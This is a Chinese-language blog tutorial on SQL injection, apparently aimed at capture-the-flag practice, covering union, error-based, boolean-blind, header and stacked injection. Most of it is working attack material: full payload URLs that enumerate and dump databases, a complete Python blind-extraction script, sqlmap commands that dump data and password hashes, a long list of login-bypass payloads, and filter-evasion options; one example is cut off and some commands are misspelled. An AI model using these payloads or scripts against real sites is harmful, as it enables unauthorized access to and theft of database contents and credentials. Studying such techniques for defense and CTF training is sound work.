SQL注入


SQL注入

数据库结构(前置知识)

img

由于关系型数据库系统具有明显的 库/表/列/内容 的结构层次,所以通过SQL注入漏洞获取库中信息的时候,也是依据这样的顺序

1、获取数据库名

2、获取表名

3、获取列名

4、获取数据

了解完了数据库的层次,大家可能还是有点蒙,下面直接进入正式的sql注入

SQL注入流程

第一步:寻找注入点

利用页面与数据库交互的地方,由于语句过滤的不严格,使得恶意语句带入到数据库中进行查询。

在页面中又诸如id=1 id=2等的位置就可以能有注入点。


分析:

先输入 ‘ ,如果页面回显出现异常,就说明输入的 是有效果的,

‘的作用:判断注入类型是数字型还是字符型。例如:

数字型:查询语句=id ?id=1

字符型:查询语句=‘id’ ?id=’1’

当我们语句注入时,对于字符型用’进行测试,例如带入单引号进去【id=’1’’】,会把前面的语句进行闭合,组后会多一个’而导致页面报错;在数字型的时候输入一个单引号,在正常情况下也会报错,但报错的语句是不一样的,因为会告诉你id没有1’,

在题目中,在加上了’后?id=1’页面没有特别的报错,也没有提示我们这 ‘ 有问题,一般猜测来说就是查询不到1’的内容,所以判断是数字型。


到了上面那个位置还没判断出来是不是注入点,一般通过带入语句,例如and 1=1

http://172.16.1.116/index.php?id=1 and 1=1

如果页面正常,就说明接受了我们这个语句;

再带入and 1=2

http://172.16.1.116/index.php?id=1 and 1=2

显示异常。在判断id=1的时候,用and将1=2和id=1并在一起执行的,

∵1=2为假

∴导致了id=1 and 1=2为假,导致了页面回显异常。

综上所述,当?id=1 and 1=1时,页面回显正常;?id=1 and 1=2时,页面回显异常;从这里可以知道,这个页面可以接受我们传输的语句,说明这个位置就是一个注入点。我们就可以从这个位置传输我们的sql注入的恶意查询语句。

第二步:开始注入!

在开始注入之前,你还要知道什么是联合查询

什么是联合查询

原本,id=1时,会列出一个表格(查询的结果实际上是一个表格),当我们执行联合查询语句union select 1时,会生成第二个表,那么此时就生成了两个虚拟表,而两个虚拟表的列数需要一致。


接下来,你就可以开始注入了。

sql注入就这?这么简单? 别急,这仅仅是一个开始

整型注入

order by

由于两个虚拟表列数要一致,当不知道表的列数的时候,我们需要用order by这个语句来判断列数。

order by是以列数进行排序的,但当列数不存在时就会报错或者无回显。

例如,当我们输入

http://172.16.1.116/index.php?id=1 order by 10

此时的页面出现了错误,就说明这个页面没有10列;当我们继续输入order by 4时有正常显示、order by 5时无回显,说明存在4列。

有了列数接下来就可以进行联合查询了。

进行构造联合查询语句

?id=1 union select 1,2,3,4相当于我们构造一个表格让它插入页面中。

做联合查询需要前表出错、后表执行。id=1相当于前表1,2,3,4相当于后表,前表出错、后表执行就是要让id=1的表报错即可,一下提供两种方法可以使id=1报错

id=1 and 1=2 union select 1,2,3,4
id=-1 union select 1,2,3,4

总结来看就是要让前表判断为假或者是不存在的表。

后表1,2,3,4执行后,相对应的数字就会显示在页面相对应的位置上。

例如,要查数据库的版本:

http://172.16.1.116/index.php?id=-1 union select 1,2,3,version()

只要在适当的数字上替换成相关的查询语句,查询的结果就会显示到页面上。(1,2,3,4的位置皆可放入语句,前提条件是方便预览、有回显)

注入全过程语句展示

# 寻找注入点
http://172.16.1.116/index.php?id=1

# 判断虚拟表列数 
http://172.16.1.116/index.php?id=1 order by 1
http://172.16.1.116/index.php?id=1 order by 4
http://172.16.1.116/index.php?id=1 order by 5
# 确定列数为4

# 查看回显位置
http://172.16.1.116/index.php?id=-1 union select 1,2,3,4 #

# 查询数据库
http://129.168.1.1/?id=-1 union select 1,2,schema_name,4 from information_schema.schemata limit 0,1
http://129.168.1.1/?id=-1 union select 1,2,schema_name,4 from information_schema.schemata limit 1,2
……

# 查询指定数据库中的表
http://129.168.1.1/?id=-1 union select 1,2,table_name,4 from information_schema.tables where table_schema='数据库名' limit 0,1

# 查询指定表中字段名
http://129.168.1.1/?id=-1 union select 1,2,column_name,4 from informtion_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1

# 倒出数据(查看数据库数据)
http://129.168.1.1/?id=-1 union select 1,2,字段名,4 from 数据库名.表名

注意:

1、为什么后面会用“limit”?limit表示范围,因为只会显示1行。

2、如果要显示所有,可以用group_concat()函数【后面会写到】

3、id=-1是因为只有前表出错后表才能执行

group_concat函数

# 查询所有数据库
http://129.168.1.1/?id=-1 union select 1,2,group_concat(schema_name),4 from information_schema.schemata

# 查询指定数据库中的所有表
http://129.168.1.1/?id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='数据库名'

# 查询指定表中所有字段名
http://129.168.1.1/?id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema='数据库名' and table_name='表名'

#查看数据库数据
http://129.168.1.1/?id=-1 union select 1,2,字段名,4 from 数据库名.表名

字符型注入需要在联合查询加英文状态下的单引号

http://192.168.0.1/?id=-1 ' union select 1,2 --+

以此类推,注意:需要让语句闭合,正常执行,在url结尾输入%23 或者–+,正常闭合,%23为#,注释后面的语句,一定要注意“ ’ ”英文输入下,否则容易爆错

如果是在输入框就可以输入

-1 ' union select 1,group_concat(schema_name) from information_schema.schemata # '

报错注入

死记硬背:

1 union select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.columns group by x

拆解分析↓

1 count():count()函数返回匹配指定条件的行数。count(*)函数返回表中的记录数

2 floor():floor:函数是用来向下取整呢个的,相当于去掉小数部分

3 rand():rand()是随机取(0,1)中的一个数,但是给它一个参数后0,即rand(0),并且传如floor()后,即:floor(rand(0)*2)它就不再是随机了,序列0110110

4 concat():用于连接两个字符串

5 group by x:x就是相当于 as x,设一个别名

6 0x26:16进制数值,ASCII为“&”,在回显中起到分隔作用

例如:

获取当前数据库名

1 union select count(*),concat((select database()),0x26,floor(rand(0)*2))x from information_schema.columns group by x;

获取所有数据库中的表名

1 union select count(*),concat((select table_name from information_schema .tables where table.schema='DDD'),0x26,flo

cookie注入

img

img

布尔盲注

(一)基本原理

在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入

通俗点说,就是你在一间没有光线的屋子里打人,一巴掌打出去有没有打到的问题。

(二)自动注入

直接使用sqlmap工具

(三)手动注入/注入思路

1、获取数据库名

if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))

2、获取数据库中表名

if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))

3、获取表中字段

if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))

4、获取内容

if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))
PYTHON脚本
import requests
import time
 
 
urlOPEN = str(input("请输入网址【例:http://URL……/?id=】:"))
starOperatorTime = []
mark = 'query_success'
def database_name():
    name = ''
    for j in range(1,9):
        for i in 'sqcwertyuioplkjhgfdazxvbnm':
            url = urlOPEN+'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' %(j,i)
            # print(url+'%23')
            r = requests.get(url)
            if mark in r.text:
                name = name+i
                
                print(name)
                
                break
    print('database_name:',name)
    
        
    
database_name()
def table_name():
    list = []
    for k in range(0,4):
        name=''
        for j in range(1,9):
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url = urlOPEN+'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
                # print(url+'%23')
                r = requests.get(url)
                if mark in r.text:
                    name = name+i
                    break
        list.append(name)
    print('table_name:',list)
 
 
#start = time.time()
table_name()
#stop = time.time()
#starOperatorTime.append(stop-start)
#print("所用的平均时间: " + str(sum(starOperatorTime)/100))
 
 
def column_name():
    list = []
    for k in range(0,3): #判断表里最多有4个字段
        name=''
        for j in range(1,9): #判断一个 字段名最多有9个字符组成
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url=urlOPEN+'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
                r=requests.get(url)
                if mark in r.text:
                    name=name+i
                    break
        list.append(name)
    print ('column_name:',list)
 
 
column_name()
 
 
def get_data():
        name=''
        for j in range(1,50): #判断一个值最多有51个字符组成
            for i in range(48,126):
                url=urlOPEN+'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' %(j,i)
                r=requests.get(url)
                if mark in r.text:
                    name=name+chr(i)
                    print(name)
                    break
        print ('value:',name)
    
get_data()

sqlmap

sqlmap常用命令

-u → “URL”检测注入点 –dbs → 列出所有数据库的名字 –current-db → 列出当前数据库的名字 -D → 指定一个数据库 –tables → 列出表名 -T → 指定表名 –columns → 列出所有字段名 -C → 指定字段 –dump → 列出字段内容 –current-user → 当前用户 –current-db → 当前数据库 –is-dba → 是否是管理员 –hostname → 主机名 –users → 枚举用户 –passwords → 枚举用户密码哈希 –privilieges → 枚举用户权限

sqlmap注入操作

http://172.16.1.116/为例

按照注入流程↓

_1判断注入点

sqlmap -u "``http://172.16.1.116/?id=1``" --batch

_2获取数据库名

sqlmap -u "``http://172.16.1.116/?id=1``" --batch --dbs

_3获取指定数据库下所有表名

sqlmap -u "``http://172.16.1.116/?id=1``" --batch -D 数据库名 --tables

_4获取表中字段名

sqlmap -u "``http://172.16.1.116/?id=1``" --batch -D 数据库名 -T 表名 --column

_5获取数据

sqlmap -u "``http://172.16.1.116/?id=1``" --batch -D 数据库名 -T 表名 -C 字段1,字段2…… --dmup

UA注入

1、关于UA

UA的全称是User-Agent

这个是在文件头中,需要使用Burp Suite Community Edition抓取

img

2、手工注入

在User-Agent: 后面直接写语句就可以了,例如↓

User-Agent:-1 union select group_concat(schema_name) from information_schema.schemata

Refer注入

与UA注入基本一样,需要在Burp Suite Community Edition抓取报头,加上referer,例如↓

Referer:-1 union select group_concat(schema_name) from information_schema.schemata

堆叠注入

在SQL中,用分号(;)表示一条sql语句的结束,堆叠注入呢就是在上一条语句结束后继续构造下一条语句。堆叠注入与联合查询最主要的区别就是 联合查询union或union all执行的语句类型是有限的,而堆叠注入可以执行任意的语句。然而 堆叠注入也是有局限性的 堆叠注入并不是每一个环境都可以执行的,可能受到API或者数据库引擎不支持的限制。下面就上实例吧

原文链接:https://blog.csdn.net/weixin_59571952/article/details/121621378

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。

https://www.shuzhiduo.com/A/gVdne9E75W/

万能密码

' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1

asp aspx万能密码

1:”or “a”=”a
2: ‘)or(‘a’=’a
3:or 1=1–
4:’or 1=1–
5:a’or’ 1=1–
6:”or 1=1–
7:’or’a’=’a
8:”or”=”a’=’a
9:’or”=’
10:’or’=’or’
11: 1 or ‘1’=’1’=1
12: 1 or ‘1’=’1’ or 1=1
13: ‘OR 1=1%00
14: “or 1=1%00
15: ‘xor
16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)
密码 1
17…admin’ or ‘a’=’a 密码随便

PHP万能密码

‘or 1=1/*
User: something
Pass: ’ OR ‘1’=’1

jsp 万能密码

1’or’1’=’1
admin’ OR 1=1/*

过滤字符

1、过滤空格

笼统的说就是不读取空格或空格后的语句被注释

2、特殊符号替代

//
#
/**/

以上符号都可以代替空格使用

3、sqlmap自动注入法

可以使用sqlmap自带的模块,以下列出几个常用模块↓

1、space2comment

作用:Replaces space character ‘ ‘ with comments /**/

用注释/**/替换空格字符’ ‘

2、equaltolike

作用:用like代替等号

3、apostrophemask

作用:用UTF-8代替引号

4、greatest

作用:绕过过滤’>’ ,用GREATEST替换大于号

未完待续……..


文章作者: Rmy4x
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Rmy4x !
  目录